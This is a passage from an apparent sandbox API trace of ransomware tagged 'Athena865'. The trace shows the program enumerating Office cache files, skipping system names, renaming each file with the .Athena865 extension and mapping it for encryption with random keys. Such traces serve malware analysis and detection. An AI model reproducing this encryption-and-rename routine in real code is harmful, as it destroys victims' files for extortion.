pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.458] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.459] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x228e260, lpName=0x0) returned 0x17c [0060.460] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x2200000, dwNumberOfBytesToMap=0x8e260) returned 0x2d50000 [0060.592] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0060.593] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.593] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0060.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.593] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0060.598] CloseHandle (hObject=0x17c) returned 1 [0060.598] CloseHandle (hObject=0x154) returned 1 [0060.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0060.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.607] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0060.607] lstrcmpiW (lpString1="PidGenX.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0060.607] lstrcmpiW (lpString1="PidGenX.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0060.607] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".") returned 1 [0060.607] lstrcmpiW (lpString1="PidGenX.dll", lpString2="..") returned 1 [0060.607] lstrcmpiW (lpString1="PidGenX.dll", lpString2="windows") returned -1 [0060.607] lstrcmpiW (lpString1="PidGenX.dll", lpString2="bootmgr") returned 1 [0060.607] lstrcmpiW (lpString1="PidGenX.dll", lpString2="temp") returned -1 [0060.608] lstrcmpiW (lpString1="PidGenX.dll", lpString2="pagefile.sys") returned 1 [0060.608] lstrcmpiW (lpString1="PidGenX.dll", lpString2="boot") returned 1 [0060.608] lstrcmpiW (lpString1="PidGenX.dll", lpString2="ids.txt") returned 1 [0060.608] lstrcmpiW (lpString1="PidGenX.dll", lpString2="ntuser.dat") returned 1 [0060.608] lstrcmpiW (lpString1="PidGenX.dll", lpString2="perflogs") returned 1 [0060.608] lstrcmpiW (lpString1="PidGenX.dll", lpString2="MSBuild") returned 1 [0060.608] lstrlenW (lpString="PidGenX.dll") returned 11 [0060.608] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PidGenX.dll" | out: lpString1="PidGenX.dll") returned="PidGenX.dll" [0060.608] lstrlenW (lpString="PidGenX.dll") returned 11 [0060.628] lstrlenW (lpString="Athena865") returned 9 [0060.628] lstrcmpiW (lpString1="dGenX.dll", lpString2="Athena865") returned 1 [0060.628] lstrlenW (lpString=".dll") returned 4 [0060.628] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".dll") returned 1 [0060.628] lstrlenW (lpString=".lnk") returned 4 [0060.628] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".lnk") returned 1 [0060.628] lstrlenW (lpString=".ini") returned 4 [0060.628] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".ini") returned 1 [0060.628] lstrlenW (lpString=".sys") returned 4 [0060.628] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".sys") returned 1 [0060.628] lstrlenW (lpString="PidGenX.dll") returned 11 [0060.629] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.Athena865") returned 84 [0060.629] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.athena865"), dwFlags=0x1) returned 1 [0060.630] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.630] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1463568) returned 1 [0060.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0060.630] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0060.631] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.631] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.631] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x165810, lpName=0x0) returned 0x17c [0060.633] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x165810) returned 0x2d50000 [0060.687] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0060.687] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.687] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.687] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0060.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.688] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0060.700] CloseHandle (hObject=0x17c) returned 1 [0060.700] CloseHandle (hObject=0x154) returned 1 [0060.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0060.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.706] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".") returned 1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="..") returned 1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="windows") returned -1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="bootmgr") returned 1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="temp") returned -1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="pagefile.sys") returned 1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="boot") returned 1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ids.txt") returned 1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntuser.dat") returned 1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="perflogs") returned 1 [0060.706] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="MSBuild") returned 1 [0060.706] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0060.706] lstrcpyW (in: lpString1=0x241e8c6, lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms" [0060.707] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0060.707] lstrlenW (lpString="Athena865") returned 9 [0060.707] lstrcmpiW (lpString1="ce.xrm-ms", lpString2="Athena865") returned 1 [0060.707] lstrlenW (lpString=".dll") returned 4 [0060.707] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".dll") returned 1 [0060.707] lstrlenW (lpString=".lnk") returned 4 [0060.707] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".lnk") returned 1 [0060.707] lstrlenW (lpString=".ini") returned 4 [0060.707] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".ini") returned 1 [0060.707] lstrlenW (lpString=".sys") returned 4 [0060.707] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".sys") returned 1 [0060.707] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0060.707] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.Athena865") returned 97 [0060.707] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.athena865"), dwFlags=0x1) returned 1 [0060.708] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.708] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=715834) returned 1 [0060.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0060.708] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0060.709] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.709] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.709] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaef40, lpName=0x0) returned 0x17c [0060.710] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xaef40) returned 0x2d50000 [0060.740] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0060.740] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.740] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0060.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.741] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0060.747] CloseHandle (hObject=0x17c) returned 1 [0060.747] CloseHandle (hObject=0x154) returned 1 [0060.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0060.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.750] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0060.750] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0060.750] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2=".") returned 1 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="..") returned 1 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="windows") returned -1 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="bootmgr") returned 1 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="temp") returned -1 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="pagefile.sys") returned 1 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="boot") returned 1 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="ids.txt") returned 1 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="ntuser.dat") returned 1 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="perflogs") returned 1 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2="MSBuild") returned 1 [0060.751] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0060.751] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ProPlusrWW.msi" | out: lpString1="ProPlusrWW.msi") returned="ProPlusrWW.msi" [0060.751] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0060.751] lstrlenW (lpString="Athena865") returned 9 [0060.751] lstrcmpiW (lpString1="usrWW.msi", lpString2="Athena865") returned 1 [0060.751] lstrlenW (lpString=".dll") returned 4 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2=".dll") returned 1 [0060.751] lstrlenW (lpString=".lnk") returned 4 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2=".lnk") returned 1 [0060.751] lstrlenW (lpString=".ini") returned 4 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2=".ini") returned 1 [0060.751] lstrlenW (lpString=".sys") returned 4 [0060.751] lstrcmpiW (lpString1="ProPlusrWW.msi", lpString2=".sys") returned 1 [0060.751] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0060.751] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.Athena865") returned 87 [0060.751] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.athena865"), dwFlags=0x1) returned 1 [0060.762] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.762] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27532288) returned 1 [0060.762] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0060.763] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0060.764] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.764] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.764] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a41f00, lpName=0x0) returned 0x17c [0060.766] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1a00000, dwNumberOfBytesToMap=0x41f00) returned 0x1f0000 [0060.794] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0060.886] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0060.903] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0060.904] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.904] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0060.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.909] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0060.912] CloseHandle (hObject=0x17c) returned 1 [0060.912] CloseHandle (hObject=0x154) returned 1 [0060.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0060.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.921] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2=".") returned 1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="..") returned 1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="windows") returned -1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="bootmgr") returned 1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="temp") returned -1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="pagefile.sys") returned 1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="boot") returned 1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="ids.txt") returned 1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="ntuser.dat") returned 1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="perflogs") returned 1 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2="MSBuild") returned 1 [0060.921] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0060.921] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ProPlusrWW.xml" | out: lpString1="ProPlusrWW.xml") returned="ProPlusrWW.xml" [0060.921] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0060.921] lstrlenW (lpString="Athena865") returned 9 [0060.921] lstrcmpiW (lpString1="usrWW.xml", lpString2="Athena865") returned 1 [0060.921] lstrlenW (lpString=".dll") returned 4 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2=".dll") returned 1 [0060.921] lstrlenW (lpString=".lnk") returned 4 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2=".lnk") returned 1 [0060.921] lstrlenW (lpString=".ini") returned 4 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2=".ini") returned 1 [0060.921] lstrlenW (lpString=".sys") returned 4 [0060.921] lstrcmpiW (lpString1="ProPlusrWW.xml", lpString2=".sys") returned 1 [0060.921] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0060.921] lstrlenW (lpString="bak") returned 3 [0060.921] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0060.921] lstrlenW (lpString="ba_") returned 3 [0060.922] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0060.922] lstrlenW (lpString="dbb") returned 3 [0060.922] lstrcmpiW (lpString1="xml", 